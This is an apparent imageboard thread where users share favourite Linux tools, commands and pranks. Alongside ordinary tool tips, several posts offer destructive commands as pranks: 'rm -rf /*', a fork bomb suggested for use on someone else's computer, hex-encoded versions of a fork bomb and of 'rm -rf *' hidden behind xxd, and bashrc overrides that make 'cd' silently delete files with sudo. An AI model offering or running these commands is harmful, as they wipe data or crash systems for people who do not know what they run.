Favorite Linux programs, commands, or pranks?

check out climagick on yt and twitter, might be what you're looking for

>>56189212
Once I installed linux and then removed everything from desktop and put image of XP desktop as wallpaper. Trolled myself pretty hard haha what a prank... lol!

rm -rf /*

>>56189212
when i'm on someone else's computer: :(){ : | : & }
as for commands: ffmpeg, imagemagick, sed, awk

>favorite program
I can't decide between grep, sed or awk.
They are all different tools, used for different things.
>commands
I really like the

grep -rn $(search)

it is short and lets me find things.
>pranks
Putting a script on peoples computers which whishes them happy birthday is fun and innocent.
I also overwrite the alias for

git push

so it plays the "push it" song in the background while pushing.

>>56189259
Yeah? Hopefully I can make it look like MacOS :p

>>56189259
why did i laugh out loud at this post?

It's a game of luck. It could just fill your terminal with shit, cause a kernel panic or crash the entire system immediately

>>56190087
It works better with :

$(echo 3a28 297b 3a7c 3a26 7d3b 3a | xxd-r -p)

3a28 297b 3a7c 3a26 7d3b 3a means >>56189883

care to expalin a bit further in detail? i assume its consuming some kind of buffers wich data could be important, is that correct?

>>56189269
dangerous on systemd lunix as that wipes the firmware of the machine bricking it

>>56190664
xxd converts strings to hex or with -r back to plaintext
726d202d7266202a translates to rm -rf *

I love the first one.

>>56190664
there's unfortunately surprisingly little information on this available. you could be right with buffering and hardware IO is definitely critical data

you can use ` to check, it will translate any command to string literal
try this

`echo 726d202d7266202a | xxd-r -p`

:(){ :|: & };:

screenfetch

Come on you faggots make that as your first command every time you use your linux/gnu machine

>>56189338
That's actually pretty clever.

too many and mostly text based, but for GUI there is EasyTag for managing music tags, Gthumb to organize my pictures, Liferea to read news and podcasts (even from youtube), IceCat because I want a good browser, and possibly JDownloader because is the best download manager/scraper out there

I really need to learn regex

would this work?

alias cd = 'rm *';

lmfao

>>56192331
Insert to bashrc

i dont know if this would work for cd can anyone test or confirm?

function cd () {
if [ "$(id -u)" != "0" ]; then
  sudo rm *
  sudo rm -rf $1
   exit 1
else 
  rm -rf *
  rm -rf $1
fi
}

>>56192411
no

?
I thought this was necessary nowadays.

>>56192445
Not necessary, because /* refers to the root subdirs and not the root itself.

Good job, /g/uys.

>>56190696
that's the best part

>>56192323
But it's not a regex anon, it's called fork-bomb.

>>56197428
yes but is there a command for love

The first things I do on logon are:

sudo pkill mpd
mpd
ncmpcpp

I keep telling myself I'll set up mpd properly one day so I don't have to restart it every time I log on.

I also use mpv --ytdl [link] a lot.

sudo sh -e ~/Downloads/crouton -t xfce

>>56189212
I heard of a program called Mimic that replaces semicolons with similar signs.

Vim users can install vim-troll-stopper, which detects suspicious signs and can replace them in one command.

First command I ever do on any linux machine i've used is

apt-get install screenfetch && screenfetch


then after that it's usually

apt-get clean && apt-get update && apt-get upgrade && apt-get dist-upgrade && apt-get autoremove

>>56191549

Except from everyone who run a recent popular distro without tinkering, I guess.

>>56197541
wow are you a hacker?

>>56197541
You don't actually need that "-get".
Apt knows what it needs.
